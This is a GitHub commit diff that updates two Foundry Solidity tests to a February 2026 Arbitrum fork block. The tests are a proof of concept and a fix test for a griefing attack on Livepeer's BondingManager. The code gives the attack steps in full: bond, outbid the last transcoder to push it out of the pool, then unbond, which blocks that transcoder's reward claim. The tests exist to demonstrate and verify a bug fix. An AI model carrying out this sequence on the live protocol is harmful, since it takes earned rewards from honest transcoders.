Skip to content

Commit e4fc2d5

Browse files
SidestreamCrunchyCarrotyondonfu
authored andcommitted
update Poc and Fix tests to run on the latest block
1 parent aefc65d commit e4fc2d5

2 files changed

Lines changed: 30 additions & 25 deletions

File tree

src/test/BondingManagerGriefLastTranscoderRewardFix.sol

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -25,11 +25,11 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
2525
address attacker = newAddr();
2626
address lastTranscoder = _getLastTranscoder();
2727

28-
// Attacker needs 450 + 2 lpt to execute the attack
28+
// Attacker needs lastTranscoderTotalStake + 2 lpt to execute the attack
2929
vm.prank(minter);
30-
lpt.mint(attacker, 450 * 1e18 + 2);
30+
lpt.mint(attacker, lastTranscoderTotalStake + 2);
3131

32-
// ---------------------- ROUND = 45816 ----------------------
32+
// ---------------------- ROUND ONE ----------------------
3333
_skipToNextRound();
3434

3535
// Attacker bonds for themself to make their status in the next round become "Bonded"
@@ -38,12 +38,12 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
3838
bondingManager.bond(1, attacker);
3939
vm.stopPrank();
4040

41-
// ---------------------- ROUND = 45817 ----------------------
41+
// ---------------------- ROUND TWO ----------------------
4242
_skipToNextRound();
4343

4444
// Attacker bonds more than the last transcoder and kicks them out of the `transcoderPool`
4545
vm.startPrank(attacker);
46-
bondingManager.bond(450 * 1e18, attacker);
46+
bondingManager.bond(lastTranscoderTotalStake, attacker);
4747
assertEq(attacker, _getLastTranscoder());
4848

4949
// Attacker unbonds all to make the `transcoderPool` not full
@@ -63,7 +63,7 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
6363
"lastTranscoder should not be deactivated"
6464
);
6565

66-
// The `lastTranscoder` is able to claim the reward for ROUND = 3640 because it is considered as active
66+
// The `lastTranscoder` is able to claim the reward for ROUND TWO because it is considered as active
6767
vm.prank(lastTranscoder);
6868
bondingManager.reward();
6969
console.log(_getTranscoderData(lastTranscoder).deactivationRound);
@@ -90,13 +90,13 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
9090
address attackerForRebond = newAddr();
9191
address lastTranscoder = _getLastTranscoder();
9292

93-
// Attacker needs 450 + 3 lpt to execute the attack
93+
// Attacker needs lastTranscoderTotalStake + 5 lpt to execute the attack
9494
vm.startPrank(minter);
95-
lpt.mint(attacker, 450 * 1e18 + 1);
95+
lpt.mint(attacker, lastTranscoderTotalStake + 3);
9696
lpt.mint(attackerForRebond, 2);
9797
vm.stopPrank();
9898

99-
// ---------------------- ROUND = 45816 ----------------------
99+
// ---------------------- ROUND ONE ----------------------
100100
_skipToNextRound();
101101

102102
// Attacker bonds to the last transcoder and immediately unbonds
@@ -111,12 +111,12 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
111111
bondingManager.bond(1, attacker);
112112
vm.stopPrank();
113113

114-
// ---------------------- ROUND = 45817 ----------------------
114+
// ---------------------- ROUND TWO ----------------------
115115
_skipToNextRound();
116116

117117
// Attacker bonds more than the last transcoder and kick them out of the `transcoderPool`
118118
vm.startPrank(attacker);
119-
bondingManager.bond(450 * 1e18, attacker);
119+
bondingManager.bond(lastTranscoderTotalStake + 2, attacker);
120120
assertEq(attacker, _getLastTranscoder());
121121

122122
// Attacker unbonds all to make the `transcoderPool` not full
@@ -134,7 +134,7 @@ contract BondingManagerGriefLastTranscoderRewardFix is BondingManagerGriefLastTr
134134

135135
assertNotEq(_getTranscoderData(lastTranscoder).activationRound, roundsManager.currentRound() + 1);
136136

137-
// The `lastTranscoder` is able to claim the reward for ROUND = 3640 because it is considered as active
137+
// The `lastTranscoder` is able to claim the reward for ROUND TWO because it is considered as active
138138
vm.prank(lastTranscoder);
139139
bondingManager.reward();
140140
console.log(_getTranscoderData(lastTranscoder).deactivationRound);

src/test/BondingManagerGriefLastTranscoderRewardPoc.sol

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -70,6 +70,8 @@ interface IBondingManager {
7070
function getTranscoder(address _transcoder) external view returns (TranscoderData memory);
7171

7272
function getDelegator(address _delegator) external view returns (DelegatorData memory);
73+
74+
function transcoderTotalStake(address _transcoder) external view returns (uint256);
7375
}
7476

7577
interface IRoundsManager {
@@ -86,6 +88,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
8688
address public immutable minter;
8789
IBondingManager public immutable bondingManager;
8890
IRoundsManager public immutable roundsManager;
91+
uint256 public lastTranscoderTotalStake;
8992

9093
constructor() {
9194
lpt = LivepeerToken(getContract("LivepeerToken"));
@@ -97,8 +100,10 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
97100
uint256 roundLength;
98101

99102
function setUp() public {
100-
vm.rollFork(290482185);
103+
vm.rollFork(430253488); // Feb 9, 2026 https://arbiscan.io/block/430253488
101104
roundLength = roundsManager.roundLength();
105+
address lastTranscoder = _getLastTranscoder();
106+
lastTranscoderTotalStake = bondingManager.transcoderTotalStake(lastTranscoder);
102107
}
103108

104109
function _skipToNextRound() internal {
@@ -135,11 +140,11 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
135140
address attacker = newAddr();
136141
address lastTranscoder = _getLastTranscoder();
137142

138-
// Attacker needs 450 + 2 lpt to execute the attack
143+
// Attacker needs lastTranscoderTotalStake + 2 lpt to execute the attack
139144
vm.prank(minter);
140-
lpt.mint(attacker, 450 * 1e18 + 2);
145+
lpt.mint(attacker, lastTranscoderTotalStake + 2);
141146

142-
// ---------------------- ROUND = 45816 ----------------------
147+
// ---------------------- ROUND ONE ----------------------
143148
_skipToNextRound();
144149

145150
// Attacker bonds for themself to make their status in the next round become "Bonded"
@@ -148,12 +153,12 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
148153
bondingManager.bond(1, attacker);
149154
vm.stopPrank();
150155

151-
// ---------------------- ROUND = 45817 ----------------------
156+
// ---------------------- ROUND TWO ----------------------
152157
_skipToNextRound();
153158

154159
// Attacker bonds more than the last transcoder and kicks them out of the `transcoderPool`
155160
vm.startPrank(attacker);
156-
bondingManager.bond(450 * 1e18, attacker);
161+
bondingManager.bond(lastTranscoderTotalStake, attacker);
157162
assertEq(attacker, _getLastTranscoder());
158163

159164
// Attacker unbonds all to make the `transcoderPool` not full
@@ -165,7 +170,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
165170

166171
assertEq(_getTranscoderData(lastTranscoder).activationRound, roundsManager.currentRound() + 1);
167172

168-
// The `lastTranscoder` is unable to claim the reward for ROUND = 3640 because it is considered as inactive
173+
// The `lastTranscoder` is unable to claim the reward for ROUND TWO because it is considered as inactive
169174
vm.expectRevert(bytes("caller must be an active transcoder"));
170175
vm.prank(lastTranscoder);
171176
bondingManager.reward();
@@ -178,13 +183,13 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
178183
address attackerForRebond = newAddr();
179184
address lastTranscoder = _getLastTranscoder();
180185

181-
// Attacker needs 450 + 3 lpt to execute the attack
186+
// Attacker needs lastTranscoderTotalStake + 5 lpt to execute the attack
182187
vm.startPrank(minter);
183-
lpt.mint(attacker, 450 * 1e18 + 1);
188+
lpt.mint(attacker, lastTranscoderTotalStake + 3);
184189
lpt.mint(attackerForRebond, 2);
185190
vm.stopPrank();
186191

187-
// ---------------------- ROUND = 45816 ----------------------
192+
// ---------------------- ROUND ONE ----------------------
188193
_skipToNextRound();
189194

190195
// Attacker bonds to the last transcoder and immediately unbonds
@@ -199,12 +204,12 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
199204
bondingManager.bond(1, attacker);
200205
vm.stopPrank();
201206

202-
// ---------------------- ROUND = 45817 ----------------------
207+
// ---------------------- ROUND TWO ----------------------
203208
_skipToNextRound();
204209

205210
// Attacker bonds more than the last transcoder and kicks them out of the `transcoderPool`
206211
vm.startPrank(attacker);
207-
bondingManager.bond(450 * 1e18, attacker);
212+
bondingManager.bond(lastTranscoderTotalStake + 2, attacker);
208213
assertEq(attacker, _getLastTranscoder());
209214

210215
// Attacker unbonds all to make the `transcoderPool` not full
@@ -221,7 +226,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
221226

222227
assertEq(_getTranscoderData(lastTranscoder).activationRound, roundsManager.currentRound() + 1);
223228

224-
// The `lastTranscoder` is unable to claim the reward for ROUND = 3640 because it is considered as inactive
229+
// The `lastTranscoder` is unable to claim the reward for ROUND TWO because it is considered as inactive
225230
vm.expectRevert(bytes("caller must be an active transcoder"));
226231
vm.prank(lastTranscoder);
227232
bondingManager.reward();

0 commit comments

Comments
 (0)